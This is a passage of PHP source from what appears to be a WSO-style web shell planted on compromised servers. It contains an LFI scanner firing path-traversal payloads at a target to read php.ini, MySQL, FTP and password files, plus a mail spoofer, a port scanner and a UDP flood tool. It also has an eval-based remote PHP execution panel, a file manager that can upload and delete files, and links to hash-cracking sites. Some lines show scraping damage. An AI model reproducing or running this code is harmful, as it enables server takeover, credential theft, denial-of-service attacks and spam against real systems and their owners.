  559. 11 =>"../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
  560. 12 =>"../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
  561. 13 =>"../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
  562. 14 =>"../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
  563. 15 =>"../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
  564. 16 =>"../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
  565. 17 =>"../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
  566. 18 =>"../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
  567. 19 =>"../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
  568. 20 =>"../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
  569. 21 =>"../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
  570. 22 =>"../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
  571. 23 =>"../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
  572. 24 =>"../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
  573. 25 =>"../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
  574. 26 =>"../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
  575. 27 =>"../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
  576. $lfimysql = array(
  577. 1 =>"../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
  578. 2 =>"../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
  579. 3 =>"../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
  580. 4 =>"../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
  581. 5 =>"../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
  582. 6 =>"../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
  583. 7 =>"../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
  584. 8 =>"../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
  585. 9 =>"../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
  586. 10 =>"../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
  587. $lfiftp = array(
  588. 1 =>"../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
  589. 2 =>"../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
  590. 3 =>"../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
  591. 4 =>"../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
  592. 5 =>"../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
  593. 6 =>"../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
  594. 7 =>"../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
  595. 8 =>"../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
  596. 9 =>"../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
  597. 10 =>"../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
  598. 11 =>"../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
  599. 12 =>"../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
  600. 13 =>"../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
  601. 14 =>"../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
  602. 15 =>"../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
  603. 16 =>"../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
  604. 17 =>"../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
  605. 18 =>"../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
  606. 19 =>"../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
  607. 20 =>"../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
  608. 21 =>"../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
  609. 22 =>"../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
  610. 23 =>"../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
  611. 24 =>"../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
  612. 25 =>"../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
  613. 26 =>"../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
  614. 27 =>"../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
  615. 28 =>"../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
  616. 29 =>"../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
  617. 30 =>"../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
  618. 31 =>"../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
  619. 32 =>"../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
  620. 33 =>"../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
  621. 34 =>"../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
  622. 35 =>"../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
  623. 36 =>"../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
  624. 37 =>"../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
  625. 38 =>"../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
  626. 39 =>"../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
  627. 40 =>"../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
  628. 41 =>"../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
  629. 42 =>"../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
  630. 43 =>"../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
  631. 44 =>"../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
  632. $x = 1;
  633. if ( $type == 1 ) {
  634. $res1 = FetchURL($target.$lfitest);
  635. $res2 = FetchURL($target.$lfitest2);
  636. $rhash1 = md5($res1);
  637. $rhash2 = md5($res2);
  638. if ($rhash1 != $rhash2) {
  639. print "<font color='green'>[+] Exploitable!</font> <a >".$target."".$lfitest."</a><br  />";
  640. while($lfiaccess[$x]) {
  641. $res3 = FetchURL($target.$lfiaccess[$x]);
  642. $rhash3 = md5($res3);
  643. if ($rhash3 != $rhash2) {
  644. print "<font color='green'>[+] File detected!</font> <a >".$target."".$lfiaccess[$x]."</a><br  />";
  645. }
  646. else {
  647. print "<font color='red'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br  />";
  648. }
  649. $x++;
  650. }
  651. }
  652. }
  653. if ( $type == 2 ) {
  654. $res1 = FetchURL($target.$lfitest);
  655. $res2 = FetchURL($target.$lfitest2);
  656. $rhash1 = md5($res1);
  657. $rhash2 = md5($res2);
  658. if ($rhash1 != $rhash2) {
  659. print "<font color='green'>[+] Exploitable!</font> <a >".$target."".$lfitest."</a><br  />";
  660. while($lficonfig[$x]) {
  661. $res3 = FetchURL($target.$lficonfig[$x]);
  662. $rhash3 = md5($res3);
  663. if ($rhash3 != $rhash2) {
  664. print "<font color='green'>[+] File detected!</font> <a >".$target."".$lficonfig[$x]."</a><br  />";
  665. }
  666. else {
  667. print "<font color='red'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br  />";
  668. }
  669. $x++;
  670. }
  671. }
  672. }
  673. if ( $type == 3 ) {
  674. $res1 = FetchURL($target.$lfitest);
  675. $res2 = FetchURL($target.$lfitest2);
  676. $rhash1 = md5($res1);
  677. $rhash2 = md5($res2);
  678. if ($rhash1 != $rhash2) {
  679. print "<font color='green'>[+] Exploitable!</font> <a >".$target."".$lfitest."</a><br  />";
  680. while($lfierror[$x]) {
  681. $res3 = FetchURL($target.$lfierror[$x]);
  682. $rhash3 = md5($res3);
  683. if ($rhash3 != $rhash2) {
  684. print "<font color='green'>[+] File detected!</font> <a >".$target."".$lfierror[$x]."</a><br  />";
  685. }
  686. else {
  687. print "<font color='red'>[!] Failed!</font>".$target."".$lfierror[$x]."<br  />";
  688. }
  689. $x++;
  690. }
  691. }
  692. }
  693. if ( $type == 4 ) {
  694. $res1 = FetchURL($target.$lfitest);
  695. $res2 = FetchURL($target.$lfitest2);
  696. $rhash1 = md5($res1);
  697. $rhash2 = md5($res2);
  698. if ($rhash1 != $rhash2) {
  699. print "<font color='green'>[+] Exploitable!</font> <a >".$target."".$lfitest."</a><br  />";
  700. while($lfiphpini[$x]) {
  701. $res3 = FetchURL($target.$lfiphpini[$x]);
  702. $rhash3 = md5($res3);
  703. if ($rhash3 != $rhash2) {
  704. print "<font color='green'>[+] File detected!</font> <a >".$target."".$lfiphpini[$x]."</a><br  />";
  705. }
  706. else {
  707. print "<font color='red'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br  />";
  708. }
  709. $x++;
  710. }
  711. }
  712. }
  713. if ( $type == 5 ) {
  714. $res1 = FetchURL($target.$lfitest);
  715. $res2 = FetchURL($target.$lfitest2);
  716. $rhash1 = md5($res1);
  717. $rhash2 = md5($res2);
  718. if ($rhash1 != $rhash2) {
  719. print "<font color='green'>[+] Exploitable!</font> <a >".$target."".$lfitest."</a><br  />";
  720. while($lfimysql[$x]) {
  721. $res3 = FetchURL($target.$lfimysql[$x]);
  722. $rhash3 = md5($res3);
  723. if ($rhash3 != $rhash2) {
  724. print "<font color='green'>[+] File detected!</font> <a >".$target."".$lfimysql[$x]."</a><br  />";
  725. }
  726. else {
  727. print "<font color='red'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br  />";
  728. }
  729. $x++;
  730. }
  731. }
  732. }
  733. if ( $type == 6 ) {
  734. $res1 = FetchURL($target.$lfitest);
  735. $res2 = FetchURL($target.$lfitest2);
  736. $rhash1 = md5($res1);
  737. $rhash2 = md5($res2);
  738. if ($rhash1 != $rhash2) {
  739. print "<font color='green'>[+] Exploitable!</font> <a >".$target."".$lfitest."</a><br  />";
  740. while($lfiftp[$x]) {
  741. $res3 = FetchURL($target.$lfiftp[$x]);
  742. $rhash3 = md5($res3);
  743. if ($rhash3 != $rhash2) {
  744. print "<font color='green'>[+] File detected!</font> <a >".$target."".$lfiftp[$x]."</a><br  />";
  745. }
  746. else {
  747. print "<font color='red'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br  />";
  748. }
  749. $x++;
  750. }
  751. }
  752. }
  753. if ( $type == 7 ) {
  754. $res1 = FetchURL($target.$lfitest);
  755. $res2 = FetchURL($target.$lfitest2);
  756. $rhash1 = md5($res1);
  757. $rhash2 = md5($res2);
  758. if ($rhash1 != $rhash2) {
  759. print "<font color='green'>[+] Exploitable!</font> <a >".$target."".$lfitest."</a><br  />";{
  760. $res3 = FetchURL($target.$lfiprocenv);
  761. $rhash3 = md5($res3);
  762. if ($rhash3 != $rhash2) {
  763. print "<font color='green'>[+] File detected!</font> <a >".$target."".$lfiprocenv."</a><br  />";
  764. }
  765. else {
  766. print "<font color='red'>[!] Failed!</font>".$target."".$lfiprocenv."<br  />";
  767. }
  768. }
  769. }
  770. }
  771. }
  772. wsoFooter();
  773. }
  774. function actionphptools() {
  775. wsoHeader();
  776. ;echo '<center>';
  777. echo '<b>Mailer</b><br>
  778. <form acti method=POST>
  779. <input type="hidden" name="a" value="phptools">
  780. <input type=text name=to value=to><br>
  781. <input type=text name=from value=from><br>
  782. <input type=text name=subject value=subject><br>
  783. <input type=text name=body value=body><br>
  784. <input type=submit name=submit value=Submit></form>';
  785. if (isset($_POST['to']) &&isset;($_POST['from']) &&isset;($_POST['subject']) &&isset;($_POST['body'])) {
  786. $headers = 'From: '.$_POST['from'];
  787. mail ($_POST['to'],$_POST['subject'],$_POST['body'],$headers);
  788. echo 'Email sent.';
  789. }
  790. echo '<br><b>Port Scanner</b><br>';
  791. $start = strip_tags($_POST['start']);
  792. $end = strip_tags($_POST['end']);
  793. $host = strip_tags($_POST['host']);
  794. if(isset($_POST['host']) &&is;_numeric($_POST['end']) &&is;_numeric($_POST['start'])){
  795. for($i = $start;$i<=$end;$i++){
  796. $fp = @fsockopen($host,$i,$errno,$errstr,3);
  797. if($fp){
  798. echo 'Port '.$i.' is <font color=green>open</font><br>';
  799. }
  800. flush();
  801. }
  802. }else{
  803. ;echo '<form acti method="POST">
  804. <input type="hidden" name="a" value="phptools">
  805. Host:<br />
  806. <input type="text" name="host" value="localhost"/><br />
  807. Port start:<br />
  808. <input type="text" name="start" value="0"/><br />
  809. Port end:<br />
  810. <input type="text" name="end" value="5000"/><br />
  811. <input type="submit" value="Scan Ports" />
  812. </form>
  813. ';
  814. }
  815. if(isset($_POST['host'])&&is;_numeric($_POST['time'])){
  816. $pakits = 0;
  817. ignore_user_abort(TRUE);
  818. set_time_limit(0);
  819. $exec_time = $_POST['time'];
  820. $time = time();
  821. $max_time = $time+$exec_time;
  822. $host = $_POST['host'];
  823. for($i=0;$i<65000;$i++){
  824. $out .= 'X';
  825. }
  826. while(1){
  827. $pakits++;
  828. if(time() >$max_time){
  829. break;
  830. }
  831. $rand = rand(1,65000);
  832. $fp = fsockopen('udp://'.$host,$rand,$errno,$errstr,5);
  833. if($fp){
  834. fwrite($fp,$out);
  835. fclose($fp);
  836. }
  837. }
  838. echo "<br><b>UDP Flood</b><br>Completed with $pakits (".round(($pakits*65)/1024,2) ." MB) packets averaging ".round($pakits/$exec_time,2) ." packets per second n";
  839. echo '<br><br>
  840.   <form acti method=POST>
  841.   <input type="hidden" name="a" value="phptools">
  842.   Host: <input type=text name=host value=localhost>
  843.   Length (seconds): <input type=text name=time value=9999>
  844.   <input type=submit value=Go></form>';
  845. }else{echo '<br><b>UDP Flood</b><br>
  846.    <form acti method=POST>
  847.    <input type="hidden" name="a" value="phptools">
  848.    Host: <br><input type=text name=host value=localhost><br>
  849.    Length (seconds): <br><input type=text name=time value=9999><br>
  850.    <input type=submit value=Go></form>';
  851. }
  852. ;echo '</center>';
  853. wsoFooter();}
  854. function actionPhp() {
  855. if(isset($_POST['ajax'])) {
  856. $_SESSION[md5($_SERVER['HTTP_HOST']) .'ajax'] = true;
  857. ob_start();
  858. eval($_POST['p1']);
  859. $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput')[removed]='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'�") ."';n";
  860. echo strlen($temp),"n",$temp;
  861. exit;
  862. }
  863. wsoHeader();
  864. if(isset($_POST['p2']) &&($_POST['p2'] == 'info')) {
  865. echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
  866. ob_start();
  867. phpinfo();
  868. $tmp = ob_get_clean();
  869. $tmp = preg_replace('!(body|a:w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  870. $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  871. echo str_replace('<h1','<h2',$tmp) .'</div><br>';
  872. }
  873. if(empty($_POST['ajax']) &&!empty($_POST['p1']))
  874. $_SESSION[md5($_SERVER['HTTP_HOST']) .'ajax'] = false;
  875. echo '<h >Execution PHP-code</h1><div class=content><form name=pf method=post  false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval >';
  876. echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput  class=ml1>';
  877. if(!empty($_POST['p1'])) {
  878. ob_start();
  879. eval($_POST['p1']);
  880. echo htmlspecialchars(ob_get_clean());
  881. }
  882. echo '</pre></div>';
  883. wsoFooter();
  884. }
  885. function actionFilesMan() {
  886. wsoHeader();
  887. echo '<h1>File manager</h1><div class=content>[removed]p1_=p2_=p3_="";[removed]';
  888. if(!empty($_POST['p1'])) {
  889.  //$_POST['p1'] = base64_decode($_POST['p1']);
  890. switch($_POST['p1']) {
  891. case 'uploadFile':
  892. if(!@move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']))
  893. echo "Can't upload file!";
  894. break;
  895. case base64_encode('mkdir'):
  896. if(!@mkdir($_POST['p2']))
  897. echo "Can't create new dir";
  898. break;
  899. case 'delete':
  900. function deleteDir($path) {
  901. $path = (substr($path,-1)=='/') ?$path:$path.'/';
  902. $dh  = opendir($path);
  903. while ( ($item = readdir($dh) ) !== false) {
  904. $item = $path.$item;
  905. if ( (basename($item) == "..") ||(basename($item) == ".") )
  906. continue;
  907. $type = filetype($item);
  908. if ($type == "dir")
  909. deleteDir($item);
  910. else
  911. @unlink($item);
  912. }
  913. closedir($dh);
  914. @rmdir($path);
  915. }
  916. if(is_array(@$_POST['f']))
  917. foreach($_POST['f'] as $f) {
  918. if($f == '..')
  919. continue;
  920. $f = urldecode($f);
  921. if(is_dir($f))
  922. deleteDir($f);
  923. else
  924. @unlink($f);
  925. }
  926. break;
  927. case 'paste':
  928. if($_SESSION['act'] == 'copy') {
  929. function copy_paste($c,$s,$d){
  930. if(is_dir($c.$s)){
  931. mkdir($d.$s);
  932. $h = @opendir($c.$s);
  933. while (($f = @readdir($h)) !== false)
  934. if (($f != ".") and ($f != ".."))
  935. copy_paste($c.$s.'/',$f,$d.$s.'/');
  936. }elseif(is_file($c.$s))
  937. @copy($c.$s,$d.$s);
  938. }
  939. foreach($_SESSION['f'] as $f)
  940. copy_paste($_SESSION['c'],$f,$GLOBALS['cwd']);
  941. }elseif($_SESSION['act'] == 'move') {
  942. function move_paste($c,$s,$d){
  943. if(is_dir($c.$s)){
  944. mkdir($d.$s);
  945. $h = @opendir($c.$s);
  946. while (($f = @readdir($h)) !== false)
  947. if (($f != ".") and ($f != ".."))
  948. copy_paste($c.$s.'/',$f,$d.$s.'/');
  949. }elseif(@is_file($c.$s))
  950. @copy($c.$s,$d.$s);
  951. }
  952. foreach($_SESSION['f'] as $f)
  953. @rename($_SESSION['c'].$f,$GLOBALS['cwd'].$f);
  954. }elseif($_SESSION['act'] == 'zip') {
  955. if(class_exists('ZipArchive')) {
  956. $zip = new ZipArchive();
  957. if ($zip->open($_POST['p2'],1)) {
  958. chdir($_SESSION['c']);
  959. foreach($_SESSION['f'] as $f) {
  960. if($f == '..')
  961. continue;
  962. if(@is_file($_SESSION['c'].$f))
  963. $zip->addFile($_SESSION['c'].$f,$f);
  964. elseif(@is_dir($_SESSION['c'].$f)) {
  965. $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
  966. foreach ($iterator as $key=>$value) {
  967. $zip->addFile(realpath($key),$key);
  968. }
  969. }
  970. }
  971. chdir($GLOBALS['cwd']);
  972. $zip->close();
  973. }
  974. }
  975. }elseif($_SESSION['act'] == 'unzip') {
  976. if(class_exists('ZipArchive')) {
  977. $zip = new ZipArchive();
  978. foreach($_SESSION['f'] as $f) {
  979. if($zip->open($_SESSION['c'].$f)) {
  980. $zip->extractTo($GLOBALS['cwd']);
  981. $zip->close();
  982. }
  983. }
  984. }
  985. }elseif($_SESSION['act'] == 'tar') {
  986. chdir($_SESSION['c']);
  987. $_SESSION['f'] = array_map('escapeshellarg',$_SESSION['f']);
  988. wsoEx('tar cfzv '.escapeshellarg($_POST['p2']) .' '.implode(' ',$_SESSION['f']));
  989. chdir($GLOBALS['cwd']);
  990. }
  991. unset($_SESSION['f']);
  992. break;
  993. default:
  994. if(!empty($_POST['p1'])) {
  995. $_SESSION['act'] = @$_POST['p1'];
  996. $_SESSION['f'] = @$_POST['f'];
  997. foreach($_SESSION['f'] as $k =>$f)
  998. $_SESSION['f'][$k] = urldecode($f);
  999. $_SESSION['c'] = @$_POST['c'];
  1000. }
  1001. break;
  1002. }
  1003. }
  1004. $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  1005. if($dirContent === false) {echo 'Can't open this folder!';wsoFooter();return;}
  1006. global $sort;
  1007. $sort = array('name',1);
  1008. if(!empty($_POST['p1'])) {
  1009. if(preg_match('!s_([A-z]+)_(d{1})!',$_POST['p1'],$match))
  1010. $sort = array($match[1],(int)$match[2]);
  1011. }
  1012. echo "[removed]
  1013.  function sa() {
  1014.   for(i=0;i<d.files.elements.length;i++)
  1015.    if(d.files.elements[i].type == 'checkbox')
  1016.     d.files.elements[i].checked = d.files.elements[0].checked;
  1017.  }
  1018.  
  1019. [removed]
  1020. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  1021. <form name=files method=post><tr><th width='13px'><input type=checkbox  class=chkbx></th><th><a href='#' >Name</a></th><th><a href='#' >Size</a></th><th><a href='#' >Modify</a></th><th>Owner/Group</th><th><a href='#' >Permissions</a></th><th>Actions</th></tr>";
  1022. $dirs = $files = array();
  1023. $n = count($dirContent);
  1024. for($i=0;$i<$n;$i++) {
  1025. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  1026. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  1027. $tmp = array('name'=>$dirContent[$i],
  1028. 'path'=>$GLOBALS['cwd'].$dirContent[$i],
  1029. 'modify'=>date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'] .$dirContent[$i])),
  1030. 'perms'=>wsoPermsColor($GLOBALS['cwd'] .$dirContent[$i]),
  1031. 'size'=>@filesize($GLOBALS['cwd'].$dirContent[$i]),
  1032. 'owner'=>$ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  1033. 'group'=>$gr['name']?$gr['name']:@filegroup($dirContent[$i])
  1034. );
  1035. if(@is_file($GLOBALS['cwd'] .$dirContent[$i]))
  1036. $files[] = array_merge($tmp,array('type'=>'file'));
  1037. elseif(@is_link($GLOBALS['cwd'] .$dirContent[$i]))
  1038. $dirs[] = array_merge($tmp,array('type'=>'link','link'=>readlink($tmp['path'])));
  1039. elseif(@is_dir($GLOBALS['cwd'] .$dirContent[$i])&&($dirContent[$i] != "."))
  1040. $dirs[] = array_merge($tmp,array('type'=>'dir'));
  1041. }
  1042. $GLOBALS['sort'] = $sort;
  1043. function wsoCmp($a,$b) {
  1044. if($GLOBALS['sort'][0] != 'size')
  1045. return strcmp(strtolower($a[$GLOBALS['sort'][0]]),strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  1046. else
  1047. return (($a['size'] <$b['size']) ?-1 : 1)*($GLOBALS['sort'][1]?1:-1);
  1048. }
  1049. usort($files,"wsoCmp");
  1050. usort($dirs,"wsoCmp");
  1051. $files = array_merge($dirs,$files);
  1052. $l = 0;
  1053. foreach($files as $f) {
  1054.  echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a   \'view\')">'.htmlspecialchars(($f['name'])):'g('FilesMan',''.$f['path'].'');" title='.$f['link'] .'><b>[ '.htmlspecialchars(($f['name'])) .' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a  >'.$f['perms']
  1055. .'</td><td><a href="#"  \'rename\')">R</a> <a href="#"  \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#"  \'edit\')">E</a> <a href="#"  \'download\')">D</a>':'').'</td></tr>';
  1056. $l = $l?0:1;
  1057. }
  1058. echo "<tr><td colspan=7>
  1059.  
  1060.  <input type=hidden name=a value='FilesMan'>
  1061.  <input type=hidden name=c value='".htmlspecialchars($GLOBALS['cwd']) ."'>
  1062.  <input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'')."'>
  1063.  <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  1064. if(class_exists('ZipArchive'))
  1065. echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  1066. echo "<option value='tar'>Compress (tar.gz)</option>";
  1067. if(!empty($_SESSION['act']) &&@count($_SESSION['f']))
  1068. echo "<option value='paste'>Paste / Compress</option>";
  1069. echo "</select> ";
  1070. if(!empty($_SESSION['act']) &&@count($_SESSION['f']) &&(($_SESSION['act'] == 'zip') ||($_SESSION['act'] == 'tar')))
  1071. echo "file name: <input type=text name=p2 value='wso_".date("Ymd_His") .".".($_SESSION['act'] == 'zip'?'zip':'tar.gz') ."'> ";
  1072. echo "></td></tr></form></table></div>";
  1073. wsoFooter();
  1074. }
  1075. function actionStringTools() {
  1076. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  1077. if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  1078. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  1079. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('X',ord($p[$i]));return strtoupper($r);}}
  1080. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  1081. $stringTools = array(
  1082. 'Base64 encode'=>'base64_encode',
  1083. 'Base64 decode'=>'base64_decode',
  1084. 'Url encode'=>'urlencode',
  1085. 'Url decode'=>'urldecode',
  1086. 'Full urlencode'=>'full_urlencode',
  1087. 'md5 hash'=>'md5',
  1088. 'sha1 hash'=>'sha1',
  1089. 'crypt'=>'crypt',
  1090. 'CRC32'=>'crc32',
  1091. 'ASCII to HEX'=>'ascii2hex',
  1092. 'HEX to ASCII'=>'hex2ascii',
  1093. 'HEX to DEC'=>'hexdec',
  1094. 'HEX to BIN'=>'hex2bin',
  1095. 'DEC to HEX'=>'dechex',
  1096. 'DEC to BIN'=>'decbin',
  1097. 'BIN to HEX'=>'binhex',
  1098. 'BIN to DEC'=>'bindec',
  1099. 'String to lower case'=>'strtolower',
  1100. 'String to upper case'=>'strtoupper',
  1101. 'Htmlspecialchars'=>'htmlspecialchars',
  1102. 'String length'=>'strlen',
  1103. );
  1104. if(isset($_POST['ajax'])) {
  1105. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1106. ob_start();
  1107. if(in_array($_POST['p1'],$stringTools))
  1108. echo $_POST['p1']($_POST['p2']);
  1109. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput')[removed]='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'�")."';n";
  1110. echo strlen($temp),"n",$temp;
  1111. exit;
  1112. }
  1113. wsoHeader();
  1114. echo '<h1>String conversions</h1><div class=content>';
  1115. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1116. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1117. echo "<form name='toolsForm'  return false;'><select name='selectTool'>";
  1118. foreach($stringTools as $k =>$v)
  1119. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  1120. echo "</select>> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input'  class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1'  id='strOutput'>";
  1121. if(!empty($_POST['p1'])) {
  1122. if(in_array($_POST['p1'],$stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  1123. }
  1124. echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
  1125.  
  1126.   <form  false;"><table cellpadding='1' cellspacing='0' width='50%'>
  1127.    <tr><td width='1%'>Text:</td><td><input type='text' name='text' ></td></tr>
  1128.    <tr><td>Path:</td><td><input type='text' name='cwd' value='".htmlspecialchars($GLOBALS['cwd']) ."' ></td></tr>
  1129.    <tr><td>Name:</td><td><input type='text' name='filename' value='*' ></td></tr>
  1130.    <tr><td></td><td>></td></tr>
  1131.    </table></form>";
  1132. function wsoRecursiveGlob($path) {
  1133. if(substr($path,-1) != '/')
  1134. $path.='/';
  1135. $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']),@glob($path.'*',GLOB_ONLYDIR)));
  1136. if(is_array($paths)&&@count($paths)) {
  1137. foreach($paths as $item) {
  1138. if(@is_dir($item)){
  1139. if($path!=$item)
  1140. wsoRecursiveGlob($item);
  1141. }else {
  1142. if(@strpos(@file_get_contents($item),@$_POST['p2'])!==false)
  1143. echo "<a href='#' null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
  1144. }
  1145. }
  1146. }
  1147. }
  1148. if(@$_POST['p3'])
  1149. wsoRecursiveGlob($_POST['c']);
  1150. echo "</div><br><h1>Search for hash:</h1><div class=content>
  1151.  
  1152.   <form method='post' target='_blank' name='hf'>
  1153.    <input type='text' name='hash' ><br>
  1154.    <input type='button' value='hashcrack.com' ><br>
  1155.    <input type='button' value='milw0rm.com' ><br>
  1156.    <input type='button' value='hashcracking.info' ><br>
  1157.    ><br>
  1158.    <input type='button' value='md5decrypter.com' ><br>
  1159.   </form></div>";
  1160. wsoFooter();
  1161. }
  1162. function actionFilesTools() {
